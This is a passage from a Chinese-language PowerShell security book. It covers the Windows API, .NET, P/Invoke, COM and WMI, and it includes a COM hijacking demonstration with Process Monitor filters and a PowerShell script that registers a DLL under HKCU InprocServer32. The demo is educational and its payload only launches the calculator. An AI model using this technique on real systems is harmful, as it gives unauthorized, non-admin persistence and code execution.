例如,在我的域 PSSec.local 中,我创建了一个唯一 ID 为 {B04231D1-A45A-4390-BB56-897DA6B1A910} 的 GPO。如果我想访问新创建的 secedit 配置,只需导航到以下路径并查看 GptTmpl.inf 文件:

\\pssec.local\SYSVOL\PSSec.local\Policies\{B04231D1-A45A-4390-BB56-897DA6B1A910}\Machine\Microsoft\Windows NT\SecEdit

当然,你也可以直接将现有 Microsoft 安全基线中的GptTmpl.inf文件复制到新创建的 GPO 中,只配置 Microsoft 推荐的设置。Microsoft 安全基线是 Microsoft 提供的一种配置建议,旨在提供安全最佳实践。我们将在第六章中进一步了解基线,主题包括Active Directory – 攻击缓解

在前一节中探索完 Windows 用户权限后,我们现在将重点关注 Windows 操作系统的另一个重要组件——Windows API。

Windows API 基础

Windows 应用程序编程接口API),也称为 Win32 或 WinAPI,是一组库、函数和接口,提供对 Windows 操作系统各种功能和组件的底层访问。它允许开发者直接访问系统功能和硬件,简化对操作系统深层次功能的访问。Windows API 函数是用 C/C++ 编写的,并通过 DLL 文件(如kernel32.dlluser32.dll)暴露给开发者使用。

Windows API 被实现为一组动态链接库DLLs),这些库在应用程序需要使用时被加载到内存中。这些 DLL 包含构成 API 的函数和过程。当应用程序调用 API 中的某个函数时,它本质上是在向操作系统发送一条消息,要求执行某个任务。操作系统随后从适当的 DLL 中执行相应的函数,并将结果返回给应用程序。

现如今,Windows APIWinAPI 这个名称指代多个版本,尽管为不同平台实现的版本仍可以按照它们自己的名字来称呼(例如 Win32 API):

  • Win16 API:第一个 API 版本是 Win16 API,它是为 16 位平台开发的,但现在已不再支持。

  • Win32 API:Windows 32 API 目前仍在所有现代 Windows 系统中使用,并且是在 Windows NT 和 Windows 95 时引入的。

  • Win32s API:这是 Windows 3.1 系列的 Windows 32 API,因此是 32 位的扩展,因为该系列的系统最初仅支持 16 位。s代表子集

  • Win64 API:该 API 是现代 64 位操作系统的变体,并在 Windows XP 和 Windows Server 2003 中引入。

  • Windows Native API:当其他 API,如 Win32 API 尚不可访问时,使用原生 API——例如,在系统启动时。与在微软开发者网络MSDN)中有良好文档支持的 Win32 API 函数(如kernel32.dll)不同,需要注意的是,通过NTDLL.DLL导出的原生 API 并不被视为“契约性”接口。这意味着,NTDLL.DLL 导出的函数行为和定义可能会随时间变化。

Windows API 函数完全使用 C、C++ 和汇编语言编写,因此开发者可以在自己的函数中使用这些函数。Win32 API 本身非常庞大,因此需要多个 DLL 文件来导出完整的功能。

如今,有多个分层的 API,它们简化了访问,开发者无需直接使用 Win32 或 Win64 API。

一些建立在 Windows API 基础上的 API 如下:

  • WinRT:Windows 运行时 API 首次出现在 Windows 8/Windows Server 2012 中。WinRT 基于 COM,并使用 C++实现。它使开发人员可以用其他语言编写代码,如 C++、C#、Visual Basic .NET、Rust/WinRT、Python/WinRT 以及 JavaScript/TypeScript。

  • COM:COM 是 API 的一部分,是一种进程间通信技术。我们将在本章后面深入探讨它。

  • .NET**/**.NET Framework:.NET Framework 是微软开发的软件框架,提供大量预构建的函数和 API,开发人员可以利用这些函数和 API 在 Windows 上构建应用程序。

从 PowerShell 访问 Windows API 的一种方式是通过使用.NET Framework。这使你可以访问 Windows API 提供的相同功能,但可以在 PowerShell 内部进行操作。它允许你以更低的级别与操作系统进行交互,并执行一些标准 PowerShell cmdlet 无法实现的任务。我们将在本章后面详细了解.NET Framework。

以下列表是可以利用的不同 API 类别:

  • 用户界面:提供用于创建和管理用户界面元素的功能,如窗口、按钮和菜单。

  • Windows 环境(Shell):包括与 Windows Shell 交互的功能,Windows Shell 是图形用户界面,提供对文件系统和其他系统资源的访问。

  • 用户输入与消息传递:通过此接口提供处理用户输入和消息传递的功能,如键盘和鼠标事件、窗口消息以及系统通知。

  • 数据访问与存储:Windows API 提供用于处理数据和存储的功能,包括文件和注册表访问、数据库连接以及数据加密。

  • 诊断:该接口提供访问系统性能监控、事件日志记录和故障排除错误功能的能力。

  • 图形与多媒体:提供用于处理图形、多媒体和游戏开发的功能,包括 DirectX 和 Windows Media。

  • 设备:Windows API 包含与硬件设备交互的功能,如打印机、扫描仪和摄像头。

  • 系统服务:包含管理系统服务的功能,如启动和停止进程及管理系统资源。

  • 安全与身份:安全与身份接口包括用于管理用户身份验证、访问控制和加密的功能。

  • 应用程序安装与维护:包括安装和卸载应用程序、管理更新以及处理应用程序错误的功能。

  • 系统管理与维护:包含管理系统设置、性能和安全性,以及自动化管理任务的功能。

  • 网络和互联网:Windows API 包括用于网络和互联网连接的函数,包括 TCP/IP、套接字和 Web 服务。

  • 已弃用或遗留的 API:为了与旧版本的应用程序和系统保持向后兼容,Windows API 还包括一些较旧的函数和接口。

  • Windows 和应用程序 SDK:除了之前列出的 API 类别外,还有用于 Windows 和应用程序开发的 软件开发工具包SDK)。PowerShell 就是一个使用 Windows API 和 .NET Framework 的 SDK 示例。System.Management.Automation 程序集包含了用于在 .NET 应用程序中与 PowerShell 交互的类和 cmdlet。

一些最常用的 Windows API 函数包括与进程和线程管理、内存管理、文件和目录管理以及注册表操作相关的函数。这些函数可以用来执行多种任务,如枚举进程和线程、读写内存、创建和删除文件与目录,以及操作 Windows 注册表。

当然,还有许多其他的 API,但在本书中我不会集中讨论它们。有关可以访问的 Windows API 函数和结构的完整概述,请参见:docs.microsoft.com/en-us/windows/win32/apiindex/windows-api-list

探索 .NET Framework

.NET Framework 是微软开发的软件框架,提供了广泛的功能,用于构建和运行应用程序。自 Windows Vista 以来,它成为了每个 Windows 安装的默认部分。框架的一个关键特性是能够访问系统和 API 资源,使其成为一个强大的工具。

.NET Framework 包含两个主要组件:

  • 公共语言运行时CLR):

这是 .NET 的运行时引擎;它还包含一个 即时编译JIT)编译器,用于将 公共中间语言CIL)的字节码转换为底层编译器生成的机器代码,从而在计算机特定架构上执行。

CLR 还包括线程管理、垃圾回收、类型安全、代码访问安全、异常处理等功能。

每个 .NET Framework 版本都有其自己的 CLR。

  • .NET Framework 类库FCL):

FCL 是一个包含常见功能类型和 API 的大型集合——例如,用户界面服务、连接数据库、网络等。

.NET 应用程序可以使用 C#、F#、Visual Basic 等编写,这些语言也在非 Windows 系统(如 Linux 或 macOS)上受支持。在仅限 Windows 的系统中,C++ 也可以使用。

一旦代码用 .NET Framework 兼容的语言编写,代码会被编译成 CIL,并通常存储在程序集(.dll.exe 结尾)中。例如,要编译 C# 源代码文件,.NET Framework 会自带自己的编译器——csc.exe,这个编译器可以在 Windows 10 计算机上的 CLR 目录下找到:C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe

然后,编译器将编译后的 CIL 代码以及清单写入输出文件的只读部分,该部分有一个标准的 PE 头(Win32 可移植可执行文件),并将其保存为程序集文件(通常是以 .exe 结尾的文件——具体取决于您选择的输出格式):

图 5.14 – .NET 框架如何编译应用程序

图 5.14 – .NET 框架如何编译应用程序

CIL 代码不能直接执行;它需要由 CLR 首先通过 JIT 编译成机器代码。因此,运行应用程序的系统上需要有 CLR。

当新编译的程序集执行时,CLR 会通过使用 JIT 编译器即时编译该程序集。然后,程序集被转换为机器代码,可以在启动应用程序的机器架构上运行。

.NET Framework 与 .NET Core

随着跨平台和云应用的兴起,微软在 2016 年发布了 .NET Core,这是一个轻量级且模块化的框架版本。设计上可以在多个平台上运行,包括 Windows、macOS 和 Linux,.NET Core 可用于开发 Web、桌面、移动、游戏和物联网(IoT)应用。

后来,.NET Core 被更名为 .NET,而专为 Windows 设计的分支现在被称为 .NET Framework

在下图中,我们将更深入地了解 .NET Framework 和 .NET 之间的相似性和差异:

图 5.15 – 比较 .NET 和 .NET Core

图 5.15 – 比较 .NET 和 .NET Core

总体而言,.NET 是一个更轻量和模块化的框架,优化了构建现代、云端和容器化应用的能力,而 .NET Framework 是一个全面的框架,旨在支持广泛的编程场景,包括大规模企业应用和遗留系统。

使用 .NET Framework 编译 C# 代码

可以通过使用命令行编译器 csc.exe 在 .NET Framework 和 PowerShell 中编译 C# 代码。此编译器随每个 .NET Framework 的安装一起提供。请注意,csc.exe 编译器可以运行任何 .cs 文件,并且不需要 PowerShell 执行它。然而,为了完整性,我们将在本节中介绍如何从 PowerShell 使用 csc.exe

要使用 csc.exe 编译 C# 文件,请导航到包含该文件的目录并运行以下命令:

> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:<output_file_name> <input_file_name>

/out选项指定输出文件的名称,<input_file_name>指定要编译的 C#文件的名称。例如,要编译名为MyProgram.cs的文件并生成名为MyProgram.exe的可执行文件,请运行以下命令:

> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:MyProgram.exe MyProgram.cs

要运行编译后的可执行文件,只需在 PowerShell 控制台中输入文件名:

> .\MyProgram.exe

下面是一个示例,展示了如何使用 PowerShell 编译和运行一个简单的"Hello, World!"程序:

$code = @"
using System;
class Program {
    static void Main(string[] args) {
        Console.WriteLine("Hello World!");
    }
}
"@
$code | Out-File -FilePath MyProgram.cs
C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:MyProgram.exe MyProgram.cs
.\MyProgram.exe

编译后,运行MyProgram.exe将在控制台输出"Hello World!",如下图所示:

图 5.16 – 使用 csc.exe 编译 C 代码并执行

图 5.16 – 使用 csc.exe 编译 C 代码并执行

Out-File cmdlet 用于在编译之前将 C#代码写入名为MyProgram.cs的文件。然后可以使用csc.exe编译器编译此文件,生成的可执行文件可以使用.\MyProgram.exe运行。

使用 Add-Type 与.NET 直接交互

从 PowerShell 访问 Windows API 的最简单方法是使用Add-Type cmdlet。通过使用Add-Type,可以从 PowerShell 命令行编译并运行.NET 代码。Add-Type cmdlet 允许你在 PowerShell 会话中定义和创建.NET Core 类。通过此 cmdlet,你可以轻松将自定义对象集成到 PowerShell 代码中,并访问.NET Core 库。通过将 C#代码传递给Add-Type cmdlet 的-TypeDefinition参数,调用新定义的 C#函数时,你的代码将实时编译。

在以下示例中,我编写了一个名为DirectoryTest的小型 C#类,其中包含GetDirectories函数。GetDirectories检查传递给该函数的路径是否可访问,并将该路径包含的所有文件和文件夹输出到命令行。如果路径不存在或不是有效路径,则返回的输出将为空。

你可以在本书的 GitHub 仓库中找到代码:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Invoke-GetDirectoriesUsingAddType.ps1

首先,你需要使用 C#创建一个没有错误的类进行编译和运行。在我的示例中,我首先将 C#代码加载到$Source变量中,这样我可以稍后访问它:

图 5.17 – 将 C#类存储在源变量中

图 5.17 – 将 C#类存储在源变量中

Add-Type 允许你在 PowerShell 会话中定义并使用 .NET Core 类。这个 .NET Core 类可以像本示例中一样指定在变量内,也可以内联指定,或者通过二进制文件或源代码文件提供。以下截图展示了Add-Type的使用:

图 5.18 – 将源代码加载到当前 PowerShell 会话

图 5.18 – 将源代码加载到当前 PowerShell 会话

现在我们可以直接与类交互,并使用 C:\ 参数调用 GetDirectories 函数,指定应该查询哪些路径的目录:

图 5.19 – 执行 DirectoryTest 类中的 GetDirectories 函数

图 5.19 – 执行 DirectoryTest 类中的 GetDirectories 函数

结果 – 所有 C 分区的子文件夹都被返回。

也许你现在在问自己,“但是如果我已经有了 PowerShell,为什么还要查询 Windows API 呢?” 好吧,有几个原因可能会让你倾向于使用 API 而非 PowerShell。一个原因是,API 可以提供一些本地 PowerShell 可能无法提供的低级功能。通过 P/Invoke 直接访问原生 Windows API 并执行非托管代码,可能是另一个原因。

通过使用 API,你可以创建钩子(这是一种通过注入自定义代码使代码行为与原始设计不同的技术)、拦截系统事件、操作系统设置、监视系统资源、跟踪用户活动,甚至操控系统进程的行为,这对于各种目的都很有用,比如红队禁用防病毒软件或提升权限。

要了解更多关于Add-Type的信息,请参考官方的Add-Type文档:learn.microsoft.com/en-us/powershell/module/microsoft.powershell.utility/add-type

从 PowerShell 加载自定义 DLL

还有一种方法是在 PowerShell 中加载已编译的自定义 DLL。当然,你也可以先使用 csc.exe 编译你自己的程序。

你可以在本书的 GitHub 仓库中找到我们在本示例中使用的 DirectoryTest.cs 文件:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/DirectoryTest.cs

我们首先使用 csc.exe 将程序编译成 DLL:

> C:\Windows\Microsoft.NET\Framework\v4.0.30319\csc.exe /out:"C:\Users\Administrator\Documents\Chapter05\DirectoryTest.dll" "C:\Users\Administrator\Documents\Chapter05\DirectoryTest.cs"

现在,你可以加载已编译的 DLL,并使用 [****System.Reflection.Assembly]::Load() 函数加载它:

> $DllPath = "C:\Users\Administrator\Documents\Chapter05\DirectoryTest.dll"
> $DllBytes = [System.IO.File]::ReadAllBytes($DllPath)
> [System.Reflection.Assembly]::Load($DllBytes)

在 .NET 中,程序集是应用程序部署的最小基本单元。它可以是 .dll 文件或 .exe 文件。如果程序集是多个应用程序共享的,它通常存储在 全局程序集缓存(GAC) 中。

一旦 DLL 成功加载,你就可以从 PowerShell 访问它的方法,如下图所示:

图 5.20 – 从 PowerShell 加载自定义 DLL 并访问其方法

图 5.20 – 从 PowerShell 加载自定义 DLL 并访问其方法

如前面的截图所示,通过使用 [DirectoryTest]::GetDirectories("C:\tmp"),可以执行在 DirectoryTest.dll 中定义的 GetDirectories 函数:所有指定目录中的文件夹和文件将写入输出。

类似于 [System.Reflection.Assembly]::Load() 函数,你也可以使用 Add-Type 配合 -Path 参数在 PowerShell 中加载 DLL:

图 5.21 – 使用 Add-Type 加载 DLL

图 5.21 – 使用 Add-Type 加载 DLL

你可以在本章的 GitHub 仓库中找到用于 图 5.21 的示例代码:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Invoke-LoadDllWithAddType.ps1

使用 P/Invoke 调用 Windows API

当你想要调用 PowerShell cmdlet 或 .NET 类没有暴露的函数(非托管代码)时,使用 Windows API 对 PowerShell 脚本编写是很有用的。

要从 PowerShell 调用 Windows API 函数,你需要做三件事:

  1. 使用 DllImport 声明包含该函数的 DLL 文件,并指定 DLL 的位置。

  2. 声明函数签名(名称、参数、返回类型和调用约定)。

  3. 使用适当的参数调用函数。

让我们通过一个简单的示例来看如何使用 user32.dll 中的 MessageBoxA 函数:

$signature = @"
[DllImport("user32.dll")]
public static extern int MessageBoxA(IntPtr hWnd, string text, string caption, uint type);
"@
Add-Type -MemberDefinition $signature -Name "User32" -Namespace "Win32" -PassThru
$null = [Win32.User32]::MessageBoxA([IntPtr]::Zero, 'I just called to say "Hello World!" :-) ', 'Hello world', 0)

在本例中,我们首先使用 DllImport 特性声明来自 user32.dll 库的 MessageBoxA 函数的签名,并将其保存在 $signature 变量中。然后,我们使用 Add-Type cmdlet 将函数签名添加到 PowerShell 会话中,这样就可以在 PowerShell 脚本中使用该函数。

最后,我们调用 [Win32.User32]::MessageBoxA() 函数,传入函数签名中指定的相应参数。在我们的示例中,我们传入一个 null IntPtr 句柄,以指定消息框不应具有父窗口。然后我们指定消息字符串、标题,以及一个 uint 值来指定在消息框中显示的按钮和图标。在这个示例中,0 表示消息框应该只包含 OK 按钮。

执行后,定义的消息框会打开,并显示指定的消息和标题:

图 5.22 – 从 PowerShell 执行非托管代码

图 5.22 – 从 PowerShell 执行非托管代码

请注意,在使用 P/Invoke 时,确保函数签名与非托管 DLL 中的实际函数匹配是非常重要的,包括正确的参数类型、返回类型和调用约定。

在这个示例中,我们调用了来自 user32.dll 的非托管代码,结果打开了一个消息框。你可能会问,这与调用 System.Windows.Forms .NET 类中的 MessageBox 函数有什么区别。

一些 Win32 API 有对应的 .NET API,几乎完全可以实现我们在这里演示的内容(例如 System.Windows.Forms.MessageBox.Show()),但很多并没有。通过使用示例中演示的 P/Invoke 方法,你可以从 PowerShell 调用任何在非托管 DLL 中定义的函数,而 .NET 类则仅限于一组特定的函数,包括 MessageBox

如果你想进一步探索加载和执行非托管代码,一个很好的资源是 pinvoke.net/。这是一个宝贵的资源,可以帮助你查找和操作P/Invoke签名、用户定义类型以及与非托管代码相关的其他信息。

更多关于如何使用 PowerShell 与 Windows API 交互的示例,敬请参考博客系列 使用 PowerShell 与 Windows API 交互第 1-3 部分

在探索 .NET Framework 和 P/Invoke 后,是时候关注 Windows 操作系统中的另一项关键技术:COM。

了解组件对象模型(COM)和 COM 劫持

COM 是由微软在 1993 年推出的软件组件二进制标准,它定义了一套规则,用于描述软件组件如何相互交互,并允许进程间通信。微软开发 COM 是为了应对应用程序之间的互操作性需求。

COM 是许多其他技术的基础,例如OLECOM+DCOMActiveXWindows 用户界面Windows 运行时等。基本上,COM 只是一个中间件,位于两个组件之间,允许它们相互通信。

COM 的使用示例可以通过 对象链接和嵌入OLE)的工作方式来展示:例如,如果你想在 PowerPoint 演示文稿中包含一个 Excel 表格。通常,如果没有 COM,PowerPoint 需要拥有实际的代码来实现使 Excel 工作的功能。但由于这样做会浪费资源并导致重复代码,显然没有必要在两个应用程序中复制相同的代码。更合理的做法是指向另一个应用程序以包含该功能。基本上,OLE 就是这样做的:它将一个 Excel 对象嵌入 PowerPoint,并链接到 Excel 的功能。

COM 是一种基于 客户端-服务器模型 的技术,在这种模型中,客户端在服务器中创建并使用 COM 组件,通过接口访问其功能。COM 服务器 通过在 COM 接口 中暴露相关的 方法属性,为其他组件(称为 COM 客户端)提供服务。这些接口定义了客户端访问对象功能的标准化方式,无论实现语言如何。COM 服务器可以是 进程内 DLL 或 进程外 EXE。

COM 服务器是作为 COM 类 实现的,COM 类是定义 COM 对象行为和功能的蓝图。一个 COM 类通常实现一个或多个接口,并提供一组客户端可以使用的 方法属性。每个 COM 类都有一个唯一的 128 位 全局唯一标识符GUID),称为 CLSID,服务器必须注册该标识符。当客户端从服务器请求对象时,COM 使用该 CLSID 定位包含实现该类代码的 DLLEXE,并创建该对象的实例。

这些组件可以通过 PowerShell 中的 New-Object cmdlet 使用,允许你实例化 COM 对象并通过其方法和属性与之交互。

在以下示例中,我们使用 New-Object cmdlet 创建 Excel.Application COM 对象的实例,该对象提供对 Excel 应用程序及其功能的访问。然后,我们使用实例化的对象创建一个新工作簿,添加一个新工作表,并将字符串 "Hello world!" 写入单元格 A1。最后,我们保存工作簿并退出 Excel 应用程序:

$excel = New-Object -ComObject Excel.Application
$workbook = $excel.Workbooks.Add()
$worksheet = $workbook.Worksheets.Item(1)
$worksheet.Cells.Item(1,1) = "Hello world!"
$workbook.SaveAs($env:TEMP + "\example.xlsx")
$excel.Quit()

请注意,为了使用 Excel COM 对象,你需要在计算机上安装 Excel。Excel COM 对象提供了大量的方法和属性,因此你可以做的不仅仅是前面的简单示例。

也可以使用 PowerShell 与远程机器上的 COM 组件交互,使用 分布式 COMDCOM)。DCOM 使客户端能够连接到运行在远程机器上的 COM 组件,并像在本地机器上一样使用其功能。

虽然 COM 为软件组件之间的通信和互操作提供了强大的框架,但它也为对手提供了明显的优势,包括他们无需担心网络或安全设置,如代理或防火墙规则。在大多数情况下,所有设置已经为 Internet ExplorerIE)准备好。此外,IE 可以完全自动化并仪器化,执行各种操作,如导航到特定 URL、下载文件或与 HTML 文档的表单字段交互。所有内容也可以轻松地隐藏于用户之外,因为新创建的 IE 窗口默认是不可见的,如果浏览器已经执行并加载到内存中,再启动一个实例也不会引起怀疑。对于对手来说,COM 打开了滥用和利用的潜力,就像 COM 劫持 一样。

COM 劫持

共享库,如 DLL,允许多个应用程序共享公共代码,而无需在内存中重复加载,从而减少内存使用并防止代码重复。如果没有共享库,每个应用程序都需要携带自己的库,这会使程序变得更大、更占内存。但这也可能引发问题,例如 DLL 地狱,即不同版本的 DLL 被不同的应用程序安装或使用,导致崩溃或安全问题等。

COM 通过使用版本控制来解决 DLL 地狱问题。每个组件都有一个唯一标识符(CLSID)和一个版本标识符(ProgID),每个版本都安装在一个单独的目录中并注册到 Windows 注册表中。这允许多个版本共存而不会发生冲突。

但是,这种版本机制也可能被用来进行 COM 劫持。在这种攻击中,攻击者首先定位到一个由另一个进程使用但尚未注册的 CLSID。他们创建一个恶意的 DLL 并将其放置到受害者系统上。然后,他们创建一个注册表项,将 CLSID 链接到恶意 DLL。由于该注册表项是创建在 HKCU 中,因此此操作甚至不需要管理员权限。

在 COM 编程模型中,每个接口实现都要求包括三个基本方法:QueryInterfaceAddRefRelease。这些方法通过 IUnknown 接口提供,而 IUnknown 接口是所有 COM 接口继承的基础接口。所有 COM 对象都必须实现 IUnknown 接口。

AddRef 用于在客户端使用对象时增加对象的引用计数,Release 用于在客户端完成对对象的使用时减少引用计数。

QueryInterface 用于获取指向 COM 对象支持的不同接口的指针。在 COM 劫持攻击中,攻击者的恶意 DLL 必须实现与其冒充的合法 COM 组件相同的接口,包括 IUnknown 接口和任何其他支持的接口。

当合法应用程序尝试实例化 COM 对象(该对象曾指向一个被废弃的键),并查询恶意 DLL 文件的 IUnknown 接口时,QueryInterface 方法会返回恶意 DLL 文件实现的其他接口的指针,从而使攻击者能够控制受害者的应用程序。通过了解 DLL 提供的导出函数,攻击者可以更好地计划其攻击并确定其要攻击的特定 COM 对象。

首先,我们需要识别哪些 COM 服务器缺少 CLSID 并且不需要提升权限(HKCU)。Process Monitorprocmon)是 SysInternals 套件的一部分,可以帮助我们实现这一目标。你可以从这里下载它:learn.microsoft.com/en-us/sysinternals/downloads/procmon

我们可以使用多个注册表键来审计过期的 CLSID:

  • InprocServer**/**InprocServer32:此键指定实现进程内服务器的 DLL 的路径。这是我们在本例中使用的。

  • LocalServer**/**LocalServer32:此键定义本地 COM 服务器应用程序的完整路径,不论其位数或架构如何。

  • TreatAs:此注册表项指定能够模拟当前类的类的 CLSID。

  • ProgID:此键表示 COM 对象的可读字符串,代表底层的 CLSID,使应用程序更容易引用 COM 对象。

由于我们正在寻找一个可以被当前用户访问和更改的过期 InprocServer32 CLSID,我们正在使用以下过滤器参数在 HKCU 中查找未使用但已注册的 CLSID:

  • 包含操作 | **是 | **RegOpenKey

  • 包含结果 | | 未找到名称

  • 包含路径 | **以...结尾 | **InprocServer32

  • 排除路径 | **以...开头 | **HKLM

请注意,在这个示例中,我们使用的是一个过期的 InprocServer32 CLSID,但通过滥用 InprocServerLocalServerLocalServer32TreatAsProgId,或者替换现有的 COM 对象,也有可能进行 COM 劫持。

以下截图展示了如何配置这个 Process Monitor 过滤器:

图 5.23 – 在 HKCU Hive 中过滤过期的 CLSID

图 5.23 – 在 HKCU Hive 中过滤过期的 CLSID

捕获一些时间的事件(例如,5 分钟),确保常见活动被捕获。

图 5.24 – 捕获过期 CLSID

图 5.24 – 捕获过期 CLSID

现在,你可以检查捕获的 CLSID,并找到你在 COM 劫持演示中想要使用的 CLSID。在本例中,我们使用的是 {CDC82860-468D-4d4e-B7E7-C298FF23AB2C},它是由 Explorer.exe 查询的。

我们接着创建一个 .dll 文件,COMHijack.dll。你可以在 GitHub 仓库中找到编译该文件的代码,链接为 github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/COMHijack/COMHijack/dllmain.cpp

这段代码定义了一个 Windows DLL,当它被加载到内存中时,运行一个新进程来启动 Windows 计算器 calc.exe。DLL 的主函数设置了一个 switch 语句来处理 DLL 被加载的不同原因,在 DLL_PROCESS_ATTACH 情况下,它调用 CallCalculator 函数,后者创建一个新进程来运行 Windows 计算器。

我们编译 COMHijack.dll 并将其放置在 ${Env:\TEMP} 下。然后,我们为 {CDC82860-468D-4d4e-B7E7-C298FF23AB2C}\InprocSServer32 创建一个新的注册表项,并将默认属性的值设置为之前放置 COMHijack.dll 的位置:

$COMPath = ${Env:\TEMP} + "\COMHijack.dll"
$CLSIDString = "{CDC82860-468D-4d4e-B7E7-C298FF23AB2C}"
$RegPath = "HKCU:\Software\Classes\CLSID\" + $CLSIDString + "\InprocServer32"
New-Item -Path $RegPath -Force
New-ItemProperty -Path $RegPath -Name "(Default)" -Value $COMPath -Force
New-ItemProperty -Path $RegPath -Name "ThreadingModel" -Value "Apartment" -Force

现在,每当 Explorer.exe 被打开时,calc.exe 也会随之启动。

当然,这并不是 COM 劫持的唯一方式;还有很多其他选项可以探索。如果你想了解更多关于 COM 劫持的内容,我强烈推荐查阅本章 进一步阅读 部分的 COM 劫持链接。

Windows 操作系统中的另一个重要组件是 WMI。这个组件可以被攻击者和防御者利用——我们将在下一节中探讨它。

通用信息模型(CIM)/WMI

我们在第三章《探索 PowerShell 远程管理技术与 PowerShell 远程管理》一章中,已经学过 WMI 是微软的 CIM 实现,以及如何使用与 WMI 或 CIM 相关的 PowerShell cmdlet。

在本章中,我们将进一步探讨 WMI 在系统环境中的应用。

WMI 不是一种新技术,WMI 攻击也不是一种新的攻击向量。WMI 只会留下很小的取证痕迹,仅在内存中运行,是规避白名单和主机安全工具的绝佳方式。因此,WMI 在近年来的攻击中被武器化,前所未有。

一般来说,像 PowerShell、.NET、C/C++、VBScript 等应用程序可以通过 WMI API 访问 WMI。CIM 对象管理器CIMOM)则管理每个 WMI 组件之间的访问。通信依赖于 COM/DCOM。

以下图示展示了 WMI 的架构:

图 5.25 – WMI 架构

图 5.25 – WMI 架构

WMI 消费者(或管理应用程序)通过 WMI API 连接到 WMI 基础架构和 WMI 服务(Winmgmt)。在这种情况下,我们将 PowerShell 作为唯一的管理应用程序,但当然,也有其他选择,例如 wmic.exe

WMI 基础设施 充当消费者、提供程序和托管对象之间的中介。它由 CIM 核心和 CIM 仓库组成。WMI 基础设施是保持并连接 WMI 中所有内容的关键。

它支持各种 API,例如 WMI COM API,通过这些 API,消费者可以通过 WMI 基础设施访问 WMI 提供程序。

CIM 仓库是一个存储静态信息的数据库,并且组织在 命名空间 中。

命名空间

命名空间是一个逻辑数据库,其目的是将与特定管理环境相关的类和实例分组。一个好的例子是注册表提供程序,它将所有 WMI 类和提供程序分组以操作 Windows 注册表。

命名空间的根目录称为 ROOT。在所有 WMI 安装中,ROOT 下总是有四个 默认 的 WMI 命名空间:CIMV2DefaultSecurityWMI。其中一些命名空间还有自己的子命名空间。

ROOT/cimv2 命名空间是最有趣的命名空间,因为几乎所有有趣的 CIM 类都存储在此命名空间中。如果你使用 Get-CimClass 查询所有类而不指定命名空间,默认会查询 ROOT/cimv2

一些提供程序还定义了他们自己的命名空间。对于开发者来说,这样的好处是他们不需要寻求命名空间所有者的许可,并且可以摆脱其他限制性约束:

图 5.26 – 一些常见命名空间的概览

图 5.26 – 一些常见命名空间的概览

使用旧的 WMI cmdlet 时,可以使用 -****Recurse 参数枚举所有命名空间:

> Get-WmiObject __namespace -Namespace 'root' -List -Recurse | Format-Table __namespace

但是让我们看看如何使用新的 CIM cmdlet 执行操作,这些 cmdlet 也在 PowerShell Core 中得到支持——不再支持 WMI cmdlet。

要搜索一个命名空间,你可以使用 Get-CimInstance

Get-CimInstance -ClassName __Namespace -Namespace 'root'

然而,使用 Get-CimInstance 不能递归搜索;该 cmdlet 不提供 -recurse 参数。为了使用 Get-CimInstance 递归搜索,我编写了一个小函数,你可以在本书的 GitHub 仓库中找到它:github.com/PacktPublishing/PowerShell-Automation-and-Scripting-for-Cybersecurity/blob/master/Chapter05/Get-CimNamespace.ps1

加载函数后,你可以通过其名称 Get-CimNamespace 调用它。使用 -recurse 参数可以递归查询,如下图所示:

图 5.27 – 递归查询所有现有命名空间

图 5.27 – 递归查询所有现有命名空间

一个命名空间不能单独工作;总是有一个由其 提供程序 管理的托管对象,并且该对象注册到命名空间中。

提供程序

提供者是 WMI 和托管对象之间的接口。它代表管理应用程序,向 CIMOM 提供托管对象的数据,并生成事件通知。

提供者通常包括以下分类:类、事件、事件消费者、实例、方法和属性。

类定义并表示托管对象的一般参数,这些对象由提供者提供。通常,它们在托管对象格式MOF)中定义。

如果你还记得第一章《PowerShell 入门》,我们在这一章中也讨论了类。但在这个上下文中,类是特定于 WMI/CIM 的。

使用Get-CimClass cmdlet 可以帮助你列出特定命名空间中的所有可用类,或者通过-ClassName参数获取有关某个类的更多信息,如下截图所示:

图 5.28 – 在 PowerShell Core 中检索 CIM 类

图 5.28 – 在 PowerShell Core 中检索 CIM 类

使用旧版Get-WMIObject cmdlet,你可以查询meta_class表,以获取与Get-CimClass相同的信息,如下截图所示:

图 5.29 – 在 Windows PowerShell 中检索 WMI 类

图 5.29 – 在 Windows PowerShell 中检索 WMI 类

每个类还定义了方法和属性,这与我们在第一章《PowerShell 入门》中讲解的面向对象编程的示例相似,但更具体地涉及 CIM/WMI:

  • 方法:它们定义了我们如何与对象进行交互:

    (Get-CimClass -ClassName Win32_OperatingSystem).CimClassMethods
    
  • 属性:它们允许我们更详细地定义一个对象,如构建号或版本号:

    (Get-CimClass -ClassName Win32_OperatingSystem).CimClassProperties
    

在每个命名空间中,你都可以找到预定义的类,即WMI 系统类。系统类用于支持 WMI 的活动,如事件通知、事件和提供者注册以及各种安全任务。

与由提供者定义的类相比,系统类没有在 MOF 中定义。你可以在官方文档中找到所有预定义系统类的概述:docs.microsoft.com/en-us/windows/win32/wmisdk/wmi-system-classes

实例

我们在第一章《PowerShell 入门》中讨论过,对象是包含属性方法类实例。类似地,CIM 实例是一个独特的、单独的对象,它包含由CIM 类定义的属性方法

使用Get-CimInstance cmdlet,你可以通过指定-Class参数来查询指定的 CIM 实例。以下截图演示了如何查询Win32_OperatingSystem类:

图 5.30 – 在 PowerShell Core 中检索 CIM 实例

图 5.30 – 在 PowerShell Core 中检索 CIM 实例

或者,您也可以使用-Query参数查询 WMI,如下例所示:

图 5.31 – 使用查询检索 CIM 实例

图 5.31 – 使用查询检索 CIM 实例

如果将输出与 CIM 类的输出进行比较,您可以快速发现类和实例之间的区别:类定义实例,而实例包含特定于当前系统的值。

事件

事件是由系统上发生的特定操作生成的。虽然并非所有操作都会生成事件,但许多重要的系统活动确实会导致事件被触发并记录在事件日志中。CIM 包含自己的事件基础设施:每当数据或服务发生变化时,都会生成通知。

内在事件

